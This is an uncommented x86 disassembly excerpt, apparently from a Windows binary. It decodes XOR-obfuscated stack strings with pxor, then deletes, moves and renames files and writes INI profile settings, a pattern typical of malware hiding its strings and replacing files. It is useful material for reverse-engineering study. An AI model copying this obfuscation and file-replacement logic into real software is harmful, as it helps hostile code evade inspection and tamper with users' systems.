mov dword [ebp - 0x1e50], 0x1cabbfd3
mov dword [ebp - 0x1e4c], 0x53194e0c
mov dword [ebp - 0x898], 0x88c194c
mov dword [ebp - 0x894], 0xe6f7585
mov dword [ebp - 0x1e48], 0x88c194c
mov dword [ebp - 0x1e44], 0xe6f7585
mov dword [ebp - 0x890], 0x35986e3d
mov dword [ebp - 0x88c], 0xa3bc60fe
mov dword [ebp - 0x1e40], 0x35986e3d
mov dword [ebp - 0x1e3c], 0xa3bc60fe
mov dword [ebp - 0x888], 0x7d6825ce
mov dword [ebp - 0x884], 0x5e869b7
mov dword [ebp - 0x1e38], 0x7d6825ce
mov dword [ebp - 0x1e34], 0x5e869b7
mov dword [ebp - 0x880], 0x6ec79807
mov dword [ebp - 0x87c], 0x85ab61b8
mov dword [ebp - 0x1e30], 0x6ec79807
mov dword [ebp - 0x1e2c], 0x85ab61b8
mov dword [ebp - 0x878], 0x2c323fc0
mov dword [ebp - 0x874], 0x6ee09d91
mov dword [ebp - 0x1e28], 0x2c323fc0
mov dword [ebp - 0x1e24], 0x6ee09d91
call fcn.0045f980
lea eax, [ebp - 0x1e50]
mov dword [ebp - 0x1150], 0x1cc4bf90
push eax
lea eax, [ebp - 0x1e80]
mov dword [ebp - 0x114c], 0x536a4e62
push eax
lea ecx, [ebp - 0x33c0]
mov dword [ebp - 0x1e80], 0x1cc4bf90
mov dword [ebp - 0x1e7c], 0x536a4e62
mov dword [ebp - 0x1148], 0x8fe1938
mov dword [ebp - 0x1144], 0xe0c75f0
mov dword [ebp - 0x1e78], 0x8fe1938
mov dword [ebp - 0x1e74], 0xe0c75f0
mov dword [ebp - 0x1140], 0x35f76e49
mov dword [ebp - 0x113c], 0xa392608c
mov dword [ebp - 0x1e70], 0x35f76e49
mov dword [ebp - 0x1e6c], 0xa392608c
mov dword [ebp - 0x1138], 0x7d0425aa
mov dword [ebp - 0x1134], 0x5c669db
mov dword [ebp - 0x1e68], 0x7d0425aa
mov dword [ebp - 0x1e64], 0x5c669db
mov dword [ebp - 0x1130], 0x6ea69865
mov dword [ebp - 0x112c], 0x85ab61d3
mov dword [ebp - 0x1e60], 0x6ea69865
mov dword [ebp - 0x1e5c], 0x85ab61d3
mov dword [ebp - 0x1128], 0x2c323fc0
mov dword [ebp - 0x1124], 0x6ee09d91
mov dword [ebp - 0x1e58], 0x2c323fc0
mov dword [ebp - 0x1e54], 0x6ee09d91
call fcn.0045f980
movaps xmm1, xmmword [ebp - 0x8a0]
pxor xmm1, xmmword [ebp - 0x1150]
movaps xmmword [ebp - 0x1150], xmm1
movaps xmm1, xmmword [ebp - 0x1140]
lea eax, [ebp - 0x228]
pxor xmm1, xmmword [ebp - 0x890]
mov edi, dword [sym.imp.KERNEL32.dll_GetFullPathNameW]
push 0
push eax
movaps xmmword [ebp - 0x1140], xmm1
lea eax, [ebp - 0x1150]
movaps xmm1, xmmword [ebp - 0x1130]
pxor xmm1, xmmword [ebp - 0x880]
push 0x104
push eax
movaps xmmword [ebp - 0x1130], xmm1
call edi
lea eax, [ebp - 0x1550]
mov dword [ebp - 0x1570], 0x1cc4bf90
push eax
lea eax, [ebp - 0x1570]
mov dword [ebp - 0x156c], 0x536a4e62
push eax
lea ecx, [ebp - 0x33b8]
mov dword [ebp - 0x1568], 0x8fe1938
mov dword [ebp - 0x1564], 0xe0c75f0
mov dword [ebp - 0x1560], 0x35f76e49
mov dword [ebp - 0x155c], 0xa392608c
mov dword [ebp - 0x1558], 0x7d0425aa
mov dword [ebp - 0x1554], 0x5e869db
call fcn.0045f980
lea eax, [ebp - 0x1530]
mov dword [ebp - 0x860], 0x1cabbfd3
push eax
lea eax, [ebp - 0x1550]
mov dword [ebp - 0x85c], 0x53194e0c
push eax
lea ecx, [ebp - 0x33b0]
mov dword [ebp - 0x1550], 0x1cabbfd3
mov dword [ebp - 0x154c], 0x53194e0c
mov dword [ebp - 0x858], 0x88c194c
mov dword [ebp - 0x854], 0xe6f7585
mov dword [ebp - 0x1548], 0x88c194c
mov dword [ebp - 0x1544], 0xe6f7585
mov dword [ebp - 0x850], 0x35986e3d
mov dword [ebp - 0x84c], 0xa3bc60fe
mov dword [ebp - 0x1540], 0x35986e3d
mov dword [ebp - 0x153c], 0xa3bc60fe
mov dword [ebp - 0x848], 0x7d6825ce
mov dword [ebp - 0x844], 0x5e869b7
mov dword [ebp - 0x1538], 0x7d6825ce
mov dword [ebp - 0x1534], 0x5e869b7
call fcn.0045f980
lea eax, [ebp - 0x1510]
mov dword [ebp - 0xc30], 0x1cc4bf90
push eax
lea eax, [ebp - 0x1530]
mov dword [ebp - 0xc2c], 0x536a4e62
push eax
lea ecx, [ebp - 0x33a8]
mov dword [ebp - 0x1530], 0x1cc4bf90
mov dword [ebp - 0x152c], 0x536a4e62
mov dword [ebp - 0xc28], 0x8fe1938
mov dword [ebp - 0xc24], 0xe0c75f0
mov dword [ebp - 0x1528], 0x8fe1938
mov dword [ebp - 0x1524], 0xe0c75f0
mov dword [ebp - 0xc20], 0x35f76e49
mov dword [ebp - 0xc1c], 0xa392608c
mov dword [ebp - 0x1520], 0x35f76e49
mov dword [ebp - 0x151c], 0xa392608c
mov dword [ebp - 0xc18], 0x7d0425aa
mov dword [ebp - 0xc14], 0x5e869db
mov dword [ebp - 0x1518], 0x7d0425aa
mov dword [ebp - 0x1514], 0x5e869db
call fcn.0045f980
movaps xmm1, xmmword [ebp - 0xc30]
lea eax, [ebp - 0x638]
pxor xmm1, xmmword [ebp - 0x860]
movaps xmmword [ebp - 0xc30], xmm1
movaps xmm1, xmmword [ebp - 0xc20]
pxor xmm1, xmmword [ebp - 0x850]
push 0
movaps xmmword [ebp - 0xc20], xmm1
push eax
push 0x104
lea eax, [ebp - 0xc30]
push eax
call edi
lea eax, [ebp - 0x638]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
lea eax, [ebp - 0x638]
push eax
lea eax, [ebp - 0x228]
push eax
call dword [sym.imp.KERNEL32.dll_MoveFileW]
test eax, eax
jne 0x4598e9
call esi
mov esi, eax
mov dword [ebp - 0x2190], 0x798bd192
lea eax, [ebp - 0x2150]
mov dword [ebp - 0x218c], 0x21763c7e
push eax
lea eax, [ebp - 0x2190]
mov dword [ebp - 0x2188], 0x7bed6e6c
push eax
lea ecx, [ebp - 0x33a0]
mov dword [ebp - 0x2184], 0x6d0c1aa5
mov dword [ebp - 0x2180], 0x51fd1c48
mov dword [ebp - 0x217c], 0xc6d417de
mov dword [ebp - 0x2178], 0x181a05a0
mov dword [ebp - 0x2174], 0x77871dc4
mov dword [ebp - 0x2170], 0x4ea0f66e
mov dword [ebp - 0x216c], 0xa5e72dfc
mov dword [ebp - 0x2168], 0x5e405ae8
mov dword [ebp - 0x2164], 0xdc0effe
mov dword [ebp - 0x2160], 0xa03773be
mov dword [ebp - 0x215c], 0xfd2defaa
mov dword [ebp - 0x2158], 0xee688e38
mov dword [ebp - 0x2154], 0x73a07313
call fcn.0045f980
lea eax, [ebp - 0x2190]
mov dword [ebp - 0x8b0], 0x1cabbfd3
push eax
lea eax, [ebp - 0x21d0]
mov dword [ebp - 0x8ac], 0x53194e0c
push eax
lea ecx, [ebp - 0x3398]
mov dword [ebp - 0x21d0], 0x1cabbfd3
mov dword [ebp - 0x21cc], 0x53194e0c
mov dword [ebp - 0x8a8], 0x88c194c
mov dword [ebp - 0x8a4], 0xe6f7585
mov dword [ebp - 0x21c8], 0x88c194c
mov dword [ebp - 0x21c4], 0xe6f7585
mov dword [ebp - 0x8a0], 0x35986e3d
mov dword [ebp - 0x89c], 0xa3bc60fe
mov dword [ebp - 0x21c0], 0x35986e3d
mov dword [ebp - 0x21bc], 0xa3bc60fe
mov dword [ebp - 0x898], 0x7d6825ce
mov dword [ebp - 0x894], 0x5e869b7
mov dword [ebp - 0x21b8], 0x7d6825ce
mov dword [ebp - 0x21b4], 0x5e869b7
mov dword [ebp - 0x890], 0x6ec79807
mov dword [ebp - 0x88c], 0x85ab61b8
mov dword [ebp - 0x21b0], 0x6ec79807
mov dword [ebp - 0x21ac], 0x85ab61b8
mov dword [ebp - 0x888], 0x2c323fc0
mov dword [ebp - 0x884], 0x6ee09d91
mov dword [ebp - 0x21a8], 0x2c323fc0
mov dword [ebp - 0x21a4], 0x6ee09d91
mov dword [ebp - 0x880], 0x9a5217d1
mov dword [ebp - 0x87c], 0xd449ca8a
mov dword [ebp - 0x21a0], 0x9a5217d1
mov dword [ebp - 0x219c], 0xd449ca8a
mov dword [ebp - 0x878], 0xee688e32
mov dword [ebp - 0x874], 0x73a07313
mov dword [ebp - 0x2198], 0xee688e32
mov dword [ebp - 0x2194], 0x73a07313
call fcn.0045f980
mov dword [ebp - 0x1280], 0x798bd192
mov dword [ebp - 0x127c], 0x21763c7e
mov dword [ebp - 0x2210], 0x798bd192
mov dword [ebp - 0x220c], 0x21763c7e
mov dword [ebp - 0x1278], 0x7bed6e6c
mov dword [ebp - 0x1274], 0x6d0c1aa5
mov dword [ebp - 0x2208], 0x7bed6e6c
mov dword [ebp - 0x2204], 0x6d0c1aa5
mov dword [ebp - 0x1270], 0x51fd1c48
mov dword [ebp - 0x126c], 0xc6d417de
mov dword [ebp - 0x2200], 0x51fd1c48
mov dword [ebp - 0x21fc], 0xc6d417de
mov dword [ebp - 0x1268], 0x181a05a0
mov dword [ebp - 0x1264], 0x77871dc4
mov dword [ebp - 0x21f8], 0x181a05a0
mov dword [ebp - 0x21f4], 0x77871dc4
mov dword [ebp - 0x1260], 0x4ea0f66e
mov dword [ebp - 0x125c], 0xa5e72dfc
mov dword [ebp - 0x21f0], 0x4ea0f66e
lea eax, [ebp - 0x21d0]
mov dword [ebp - 0x21ec], 0xa5e72dfc
push eax
lea eax, [ebp - 0x2210]
mov dword [ebp - 0x1258], 0x5e405ae8
push eax
lea ecx, [ebp - 0x3390]
mov dword [ebp - 0x1254], 0xdc0effe
mov dword [ebp - 0x21e8], 0x5e405ae8
mov dword [ebp - 0x21e4], 0xdc0effe
mov dword [ebp - 0x1250], 0xa03773be
mov dword [ebp - 0x124c], 0xfd2defaa
mov dword [ebp - 0x21e0], 0xa03773be
mov dword [ebp - 0x21dc], 0xfd2defaa
mov dword [ebp - 0x1248], 0xee688e38
mov dword [ebp - 0x1244], 0x73a07313
mov dword [ebp - 0x21d8], 0xee688e38
mov dword [ebp - 0x21d4], 0x73a07313
call fcn.0045f980
movaps xmm1, xmmword [ebp - 0x8b0]
lea eax, [ebp - 0x1280]
pxor xmm1, xmmword [ebp - 0x1280]
movaps xmmword [ebp - 0x1280], xmm1
movaps xmm1, xmmword [ebp - 0x1270]
pxor xmm1, xmmword [ebp - 0x8a0]
movaps xmmword [ebp - 0x1270], xmm1
movaps xmm1, xmmword [ebp - 0x1260]
pxor xmm1, xmmword [ebp - 0x890]
movaps xmmword [ebp - 0x1260], xmm1
movaps xmm1, xmmword [ebp - 0x1250]
pxor xmm1, xmmword [ebp - 0x880]
push esi
push eax
movaps xmmword [ebp - 0x1250], xmm1
call fcn.0044b300
add esp, 8
mov dword [ebp - 0x2f38], 0x4ffefe83
lea eax, [ebp - 0x2f28]
mov dword [ebp - 0x2f34], 0x53194e49
lea ecx, [ebp - 0x3388]
mov dword [ebp - 0x2f30], 0x88c194c
mov dword [ebp - 0x2f2c], 0xe6f7585
push eax
lea eax, [ebp - 0x2f38]
push eax
call fcn.0045f980
lea eax, [ebp - 0x2f38]
mov dword [ebp - 0x850], 0x1cabbfd3
push eax
lea eax, [ebp - 0x2f48]
mov dword [ebp - 0x84c], 0x53194e0c
push eax
lea ecx, [ebp - 0x3380]
mov dword [ebp - 0x2f48], 0x1cabbfd3
mov dword [ebp - 0x2f44], 0x53194e0c
mov dword [ebp - 0x848], 0x88c194c
mov dword [ebp - 0x844], 0xe6f7585
mov dword [ebp - 0x2f40], 0x88c194c
mov dword [ebp - 0x2f3c], 0xe6f7585
call fcn.0045f980
lea eax, [ebp - 0x2f48]
mov dword [ebp - 0xc10], 0x4ffefe83
push eax
lea eax, [ebp - 0x2f58]
mov dword [ebp - 0xc0c], 0x53194e49
push eax
lea ecx, [ebp - 0x3378]
mov dword [ebp - 0x2f58], 0x4ffefe83
mov dword [ebp - 0x2f54], 0x53194e49
mov dword [ebp - 0xc08], 0x88c194c
mov dword [ebp - 0xc04], 0xe6f7585
mov dword [ebp - 0x2f50], 0x88c194c
mov dword [ebp - 0x2f4c], 0xe6f7585
call fcn.0045f980
movaps xmm1, xmmword [ebp - 0xc10]
lea eax, [ebp - 0xc10]
pxor xmm1, xmmword [ebp - 0x850]
push eax
movaps xmmword [ebp - 0xc10], xmm1
call fcn.005d6a9d
add esp, 4
lea ecx, [ebp - 0x13d0]
call fcn.0045ea80
lea ecx, [ebp - 0x8e8]
call fcn.0045ea80
lea ecx, [ebp - 0x900]
call fcn.0045ea80
jmp 0x45d581
mov edi, dword [sym.imp.KERNEL32.dll_GetFullPathNameW]
call dword [sym.imp.WS2_32.dll_WSACleanup]
push 0x208
lea eax, [ebp - 0x228]
push 0
push eax
call fcn.005c9aa0
add esp, 0xc
mov dword [ebp - 0x1510], 0x1cc4bf90
lea eax, [ebp - 0x14f0]
mov dword [ebp - 0x150c], 0x536a4e62
lea ecx, [ebp - 0x3370]
mov dword [ebp - 0x1508], 0x8fe1938
mov dword [ebp - 0x1504], 0xe0c75f0
push eax
lea eax, [ebp - 0x1510]
mov dword [ebp - 0x1500], 0x35f76e49
push eax
mov dword [ebp - 0x14fc], 0xa392608c
mov dword [ebp - 0x14f8], 0x7d0425aa
mov dword [ebp - 0x14f4], 0x5e869db
call fcn.0045f980
lea eax, [ebp - 0x14d0]
mov dword [ebp - 0x860], 0x1cabbfd3
push eax
lea eax, [ebp - 0x14f0]
mov dword [ebp - 0x85c], 0x53194e0c
push eax
lea ecx, [ebp - 0x3368]
mov dword [ebp - 0x14f0], 0x1cabbfd3
mov dword [ebp - 0x14ec], 0x53194e0c
mov dword [ebp - 0x858], 0x88c194c
mov dword [ebp - 0x854], 0xe6f7585
mov dword [ebp - 0x14e8], 0x88c194c
mov dword [ebp - 0x14e4], 0xe6f7585
mov dword [ebp - 0x850], 0x35986e3d
mov dword [ebp - 0x84c], 0xa3bc60fe
mov dword [ebp - 0x14e0], 0x35986e3d
mov dword [ebp - 0x14dc], 0xa3bc60fe
mov dword [ebp - 0x848], 0x7d6825ce
mov dword [ebp - 0x844], 0x5e869b7
mov dword [ebp - 0x14d8], 0x7d6825ce
mov dword [ebp - 0x14d4], 0x5e869b7
call fcn.0045f980
lea eax, [ebp - 0x14b0]
mov dword [ebp - 0xc50], 0x1cc4bf90
push eax
lea eax, [ebp - 0x14d0]
mov dword [ebp - 0xc4c], 0x536a4e62
push eax
lea ecx, [ebp - 0x3360]
mov dword [ebp - 0x14d0], 0x1cc4bf90
mov dword [ebp - 0x14cc], 0x536a4e62
mov dword [ebp - 0xc48], 0x8fe1938
mov dword [ebp - 0xc44], 0xe0c75f0
mov dword [ebp - 0x14c8], 0x8fe1938
mov dword [ebp - 0x14c4], 0xe0c75f0
mov dword [ebp - 0xc40], 0x35f76e49
mov dword [ebp - 0xc3c], 0xa392608c
mov dword [ebp - 0x14c0], 0x35f76e49
mov dword [ebp - 0x14bc], 0xa392608c
mov dword [ebp - 0xc38], 0x7d0425aa
mov dword [ebp - 0xc34], 0x5e869db
mov dword [ebp - 0x14b8], 0x7d0425aa
mov dword [ebp - 0x14b4], 0x5e869db
call fcn.0045f980
movaps xmm1, xmmword [ebp - 0xc50]
lea eax, [ebp - 0x228]
pxor xmm1, xmmword [ebp - 0x860]
push 0
push eax
movaps xmmword [ebp - 0xc50], xmm1
lea eax, [ebp - 0xc50]
movaps xmm1, xmmword [ebp - 0xc40]
pxor xmm1, xmmword [ebp - 0x850]
push 0x104
push eax
movaps xmmword [ebp - 0xc40], xmm1
call edi
push 0xc0
mov dl, 1
lea ecx, [ebp - 0x228]
call fcn.0044c4f0
add esp, 4
mov dword [ebp - 0x14b0], 0x75dee9d9
lea eax, [ebp - 0x1490]
mov dword [ebp - 0x14ac], 0x3d76222c
lea ecx, [ebp - 0x3358]
mov dword [ebp - 0x14a8], 0x60e7392b
mov dword [ebp - 0x14a4], 0x6a4f1cea
push eax
lea eax, [ebp - 0x14b0]
mov dword [ebp - 0x14a0], 0x15ff0052
push eax
mov dword [ebp - 0x149c], 0x83dd0999
mov dword [ebp - 0x1498], 0x531844a2
mov dword [ebp - 0x1494], 0x5e869bd
call fcn.0045f980
lea eax, [ebp - 0x1470]
mov dword [ebp - 0x860], 0x1cabbfd3
push eax
lea eax, [ebp - 0x1490]
mov dword [ebp - 0x85c], 0x53194e0c
push eax
lea ecx, [ebp - 0x3350]
mov dword [ebp - 0x1490], 0x1cabbfd3
mov dword [ebp - 0x148c], 0x53194e0c
mov dword [ebp - 0x858], 0x88c194c
mov dword [ebp - 0x854], 0xe6f7585
mov dword [ebp - 0x1488], 0x88c194c
mov dword [ebp - 0x1484], 0xe6f7585
mov dword [ebp - 0x850], 0x35986e3d
mov dword [ebp - 0x84c], 0xa3bc60fe
mov dword [ebp - 0x1480], 0x35986e3d
mov dword [ebp - 0x147c], 0xa3bc60fe
mov dword [ebp - 0x848], 0x7d6825ce
mov dword [ebp - 0x844], 0x5e869b7
mov dword [ebp - 0x1478], 0x7d6825ce
mov dword [ebp - 0x1474], 0x5e869b7
call fcn.0045f980
lea eax, [ebp - 0x1450]
mov dword [ebp - 0xc70], 0x75dee9d9
push eax
lea eax, [ebp - 0x1470]
mov dword [ebp - 0xc6c], 0x3d76222c
push eax
lea ecx, [ebp - 0x3348]
mov dword [ebp - 0x1470], 0x75dee9d9
mov dword [ebp - 0x146c], 0x3d76222c
mov dword [ebp - 0xc68], 0x60e7392b
mov dword [ebp - 0xc64], 0x6a4f1cea
mov dword [ebp - 0x1468], 0x60e7392b
mov dword [ebp - 0x1464], 0x6a4f1cea
mov dword [ebp - 0xc60], 0x15ff0052
mov dword [ebp - 0xc5c], 0x83dd0999
mov dword [ebp - 0x1460], 0x15ff0052
mov dword [ebp - 0x145c], 0x83dd0999
mov dword [ebp - 0xc58], 0x531844a2
mov dword [ebp - 0xc54], 0x5e869bd
mov dword [ebp - 0x1458], 0x531844a2
mov dword [ebp - 0x1454], 0x5e869bd
call fcn.0045f980
movaps xmm1, xmmword [ebp - 0xc70]
lea eax, [ebp - 0xc70]
pxor xmm1, xmmword [ebp - 0x860]
movaps xmmword [ebp - 0xc70], xmm1
movaps xmm1, xmmword [ebp - 0xc60]
pxor xmm1, xmmword [ebp - 0x850]
push eax
movaps xmmword [ebp - 0xc60], xmm1
call fcn.0044b300
add esp, 4
mov dword [ebp - 0x1450], 0x1cd9bf87
lea eax, [ebp - 0x1430]
mov dword [ebp - 0x144c], 0x535a4e75
mov dword [ebp - 0x1448], 0x8f91923
mov dword [ebp - 0x1444], 0xe1b75eb
push eax
mov dword [ebp - 0x1440], 0x35986e3d
lea eax, [ebp - 0x1450]
mov dword [ebp - 0x143c], 0xa3bc60fe
mov dword [ebp - 0x1438], 0x7d6825ce
mov dword [ebp - 0x1434], 0x5e869b7
push eax
lea ecx, [ebp - 0x3340]
call fcn.0045f980
lea eax, [ebp - 0x1410]
mov dword [ebp - 0x860], 0x1cabbfd3
push eax
lea eax, [ebp - 0x1430]
mov dword [ebp - 0x85c], 0x53194e0c
push eax
lea ecx, [ebp - 0x3338]
mov dword [ebp - 0x1430], 0x1cabbfd3
mov dword [ebp - 0x142c], 0x53194e0c
mov dword [ebp - 0x858], 0x88c194c
mov dword [ebp - 0x854], 0xe6f7585
mov dword [ebp - 0x1428], 0x88c194c
mov dword [ebp - 0x1424], 0xe6f7585
mov dword [ebp - 0x850], 0x35986e3d
mov dword [ebp - 0x84c], 0xa3bc60fe
mov dword [ebp - 0x1420], 0x35986e3d
mov dword [ebp - 0x141c], 0xa3bc60fe
mov dword [ebp - 0x848], 0x7d6825ce
mov dword [ebp - 0x844], 0x5e869b7
mov dword [ebp - 0x1418], 0x7d6825ce
mov dword [ebp - 0x1414], 0x5e869b7
call fcn.0045f980
lea eax, [ebp - 0x13f0]
mov dword [ebp - 0xc90], 0x1cd9bf87
push eax
lea eax, [ebp - 0x1410]
mov dword [ebp - 0xc8c], 0x535a4e75
push eax
lea ecx, [ebp - 0x3330]
mov dword [ebp - 0x1410], 0x1cd9bf87
mov dword [ebp - 0x140c], 0x535a4e75
mov dword [ebp - 0xc88], 0x8f91923
mov dword [ebp - 0xc84], 0xe1b75eb
mov dword [ebp - 0x1408], 0x8f91923
mov dword [ebp - 0x1404], 0xe1b75eb
mov dword [ebp - 0xc80], 0x35986e3d
mov dword [ebp - 0xc7c], 0xa3bc60fe
mov dword [ebp - 0x1400], 0x35986e3d
mov dword [ebp - 0x13fc], 0xa3bc60fe
mov dword [ebp - 0xc78], 0x7d6825ce
mov dword [ebp - 0xc74], 0x5e869b7
mov dword [ebp - 0x13f8], 0x7d6825ce
mov dword [ebp - 0x13f4], 0x5e869b7
call fcn.0045f980
movaps xmm1, xmmword [ebp - 0xc90]
lea eax, [ebp - 0x2f58]
pxor xmm1, xmmword [ebp - 0x860]
lea ecx, [ebp - 0x3328]
movaps xmmword [ebp - 0xc90], xmm1
movaps xmm1, xmmword [ebp - 0xc80]
pxor xmm1, xmmword [ebp - 0x850]
push eax
lea eax, [ebp - 0x2f68]
movaps xmmword [ebp - 0xc80], xmm1
push eax
mov dword [ebp - 0x2f68], 0x1cffbf81
mov dword [ebp - 0x2f64], 0x53194e0c
mov dword [ebp - 0x2f60], 0x88c194c
mov dword [ebp - 0x2f5c], 0xe6f7585
call fcn.0045f980
lea eax, [ebp - 0x2f68]
mov dword [ebp - 0x850], 0x1cabbfd3
push eax
lea eax, [ebp - 0x2f78]
mov dword [ebp - 0x84c], 0x53194e0c
push eax
lea ecx, [ebp - 0x3320]
mov dword [ebp - 0x2f78], 0x1cabbfd3
mov dword [ebp - 0x2f74], 0x53194e0c
mov dword [ebp - 0x848], 0x88c194c
mov dword [ebp - 0x844], 0xe6f7585
mov dword [ebp - 0x2f70], 0x88c194c
mov dword [ebp - 0x2f6c], 0xe6f7585
call fcn.0045f980
mov dword [ebp - 0xa90], 0x1cffbf81
mov dword [ebp - 0xa8c], 0x53194e0c
mov dword [ebp - 0x2f88], 0x1cffbf81
mov dword [ebp - 0x2f84], 0x53194e0c
lea eax, [ebp - 0x2f78]
mov dword [ebp - 0xa88], 0x88c194c
push eax
lea eax, [ebp - 0x2f88]
mov dword [ebp - 0xa84], 0xe6f7585
push eax
lea ecx, [ebp - 0x3318]
mov dword [ebp - 0x2f80], 0x88c194c
mov dword [ebp - 0x2f7c], 0xe6f7585
call fcn.0045f980
movaps xmm1, xmmword [ebp - 0xa90]
lea eax, [ebp - 0x430]
pxor xmm1, xmmword [ebp - 0x850]
push eax
push 0x66fe54
lea eax, [ebp - 0xc90]
movaps xmmword [ebp - 0xa90], xmm1
push eax
lea eax, [ebp - 0xa90]
push eax
call dword [sym.imp.KERNEL32.dll_WritePrivateProfileStringW]
push 0x720
lea eax, [ebp - 0x2a50]
mov dword [ebp - 0x2c04], 0
push 0
push eax
mov byte [ebp - 0x2be5], 0
call fcn.005c9aa0
add esp, 0xc
mov dword [ebp - 0x2250], 0x70c2de95
lea eax, [ebp - 0x2210]
mov dword [ebp - 0x224c], 0x27392a69
lea ecx, [ebp - 0x3310]
mov dword [ebp - 0x2248], 0x66e53923
mov dword [ebp - 0x2244], 0x6f0101ec
push eax
lea eax, [ebp - 0x2250]
mov dword [ebp - 0x2240], 0x50e20751
push eax
mov dword [ebp - 0x223c], 0x8ed236de
mov dword [ebp - 0x2238], 0x51104486
mov dword [ebp - 0x2234], 0x6c900c97
mov dword [ebp - 0x2230], 0x9a9f173
mov dword [ebp - 0x222c], 0xf7d924b2
mov dword [ebp - 0x2228], 0x4f124daf
mov dword [ebp - 0x2224], 0x5485f9fe
mov dword [ebp - 0x2220], 0x9a3632f1
mov dword [ebp - 0x221c], 0xd449ca8a
mov dword [ebp - 0x2218], 0xee688e32
mov dword [ebp - 0x2214], 0x73a07313
call fcn.0045f980
mov dword [ebp - 0x8b0], 0x1cabbfd3
mov dword [ebp - 0x8ac], 0x53194e0c
mov dword [ebp - 0x22d0], 0x1cabbfd3
mov dword [ebp - 0x22cc], 0x53194e0c
mov dword [ebp - 0x8a8], 0x88c194c
mov dword [ebp - 0x8a4], 0xe6f7585
mov dword [ebp - 0x22c8], 0x88c194c
mov dword [ebp - 0x22c4], 0xe6f7585
mov dword [ebp - 0x8a0], 0x35986e3d
mov dword [ebp - 0x89c], 0xa3bc60fe
mov dword [ebp - 0x22c0], 0x35986e3d
mov dword [ebp - 0x22bc], 0xa3bc60fe
mov dword [ebp - 0x898], 0x7d6825ce
mov dword [ebp - 0x894], 0x5e869b7
mov dword [ebp - 0x22b8], 0x7d6825ce
mov dword [ebp - 0x22b4], 0x5e869b7
mov dword [ebp - 0x890], 0x6ec79807
mov dword [ebp - 0x88c], 0x85ab61b8
mov dword [ebp - 0x22b0], 0x6ec79807
mov dword [ebp - 0x22ac], 0x85ab61b8
mov dword [ebp - 0x888], 0x2c323fc0
mov dword [ebp - 0x884], 0x6ee09d91
mov dword [ebp - 0x22a8], 0x2c323fc0
mov dword [ebp - 0x22a4], 0x6ee09d91
mov dword [ebp - 0x880], 0x9a5217d1
mov dword [ebp - 0x87c], 0xd449ca8a
mov dword [ebp - 0x22a0], 0x9a5217d1
mov dword [ebp - 0x229c], 0xd449ca8a
mov dword [ebp - 0x878], 0xee688e32
mov dword [ebp - 0x874], 0x73a07313
lea eax, [ebp - 0x2290]
mov dword [ebp - 0x2298], 0xee688e32
push eax
lea eax, [ebp - 0x22d0]
mov dword [ebp - 0x2294], 0x73a07313
push eax
lea ecx, [ebp - 0x3308]
call fcn.0045f980
lea eax, [ebp - 0x2250]
mov dword [ebp - 0x12c0], 0x70c2de95
push eax
lea eax, [ebp - 0x2290]
mov dword [ebp - 0x12bc], 0x27392a69
push eax
lea ecx, [ebp - 0x3300]
mov dword [ebp - 0x2290], 0x70c2de95
mov dword [ebp - 0x228c], 0x27392a69
mov dword [ebp - 0x12b8], 0x66e53923
mov dword [ebp - 0x12b4], 0x6f0101ec
mov dword [ebp - 0x2288], 0x66e53923
mov dword [ebp - 0x2284], 0x6f0101ec
mov dword [ebp - 0x12b0], 0x50e20751
mov dword [ebp - 0x12ac], 0x8ed236de
mov dword [ebp - 0x2280], 0x50e20751
mov dword [ebp - 0x227c], 0x8ed236de
mov dword [ebp - 0x12a8], 0x51104486
mov dword [ebp - 0x12a4], 0x6c900c97
mov dword [ebp - 0x2278], 0x51104486
mov dword [ebp - 0x2274], 0x6c900c97
mov dword [ebp - 0x12a0], 0x9a9f173
mov dword [ebp - 0x129c], 0xf7d924b2
mov dword [ebp - 0x2270], 0x9a9f173
mov dword [ebp - 0x226c], 0xf7d924b2
mov dword [ebp - 0x1298], 0x4f124daf
mov dword [ebp - 0x1294], 0x5485f9fe
mov dword [ebp - 0x2268], 0x4f124daf
mov dword [ebp - 0x2264], 0x5485f9fe
mov dword [ebp - 0x1290], 0x9a3632f1
mov dword [ebp - 0x128c], 0xd449ca8a
mov dword [ebp - 0x2260], 0x9a3632f1
mov dword [ebp - 0x225c], 0xd449ca8a
mov dword [ebp - 0x1288], 0xee688e32
mov dword [ebp - 0x1284], 0x73a07313
mov dword [ebp - 0x2258], 0xee688e32
mov dword [ebp - 0x2254], 0x73a07313
call fcn.0045f980
movaps xmm1, xmmword [ebp - 0x12c0]
xor ecx, ecx
pxor xmm1, xmmword [ebp - 0x8b0]
movaps xmmword [ebp - 0x12c0], xmm1
movaps xmm1, xmmword [ebp - 0x12b0]
pxor xmm1, xmmword [ebp - 0x8a0]
movaps xmmword [ebp - 0x12b0], xmm1
movaps xmm1, xmmword [ebp - 0x12a0]
pxor xmm1, xmmword [ebp - 0x890]
movaps xmmword [ebp - 0x12a0], xmm1
movaps xmm1, xmmword [ebp - 0x1290]
pxor xmm1, xmmword [ebp - 0x880]
movaps xmmword [ebp - 0x1290], xmm1
nop word [eax + eax]
mov al, byte [ebp + ecx - 0x12c0]
lea ecx, [ecx + 1]
mov byte [ebp + ecx - 0x2831], al
test al, al
jne 0x45a490
lea eax, [ebp - 0x2f88]
mov dword [ebp - 0x2f98], 0x73d9cd96
push eax
lea eax, [ebp - 0x2f98]
mov dword [ebp - 0x2f94], 0x53194e7e
push eax
lea ecx, [ebp - 0x32f8]
mov dword [ebp - 0x2f90], 0x88c194c
mov dword [ebp - 0x2f8c], 0xe6f7585
call fcn.0045f980
lea eax, [ebp - 0x2f98]
mov dword [ebp - 0x850], 0x1cabbfd3
push eax
lea eax, [ebp - 0x2fa8]
mov dword [ebp - 0x84c], 0x53194e0c
push eax
lea ecx, [ebp - 0x32f0]
mov dword [ebp - 0x2fa8], 0x1cabbfd3
mov dword [ebp - 0x2fa4], 0x53194e0c
mov dword [ebp - 0x848], 0x88c194c
mov dword [ebp - 0x844], 0xe6f7585
mov dword [ebp - 0x2fa0], 0x88c194c
mov dword [ebp - 0x2f9c], 0xe6f7585
call fcn.0045f980
lea eax, [ebp - 0x2fa8]
mov dword [ebp - 0xa10], 0x73d9cd96
push eax
lea eax, [ebp - 0x2fb8]
mov dword [ebp - 0xa0c], 0x53194e7e
push eax
lea ecx, [ebp - 0x32e8]
mov dword [ebp - 0x2fb8], 0x73d9cd96
mov dword [ebp - 0x2fb4], 0x53194e7e
mov dword [ebp - 0xa08], 0x88c194c
mov dword [ebp - 0xa04], 0xe6f7585
mov dword [ebp - 0x2fb0], 0x88c194c
mov dword [ebp - 0x2fac], 0xe6f7585
call fcn.0045f980
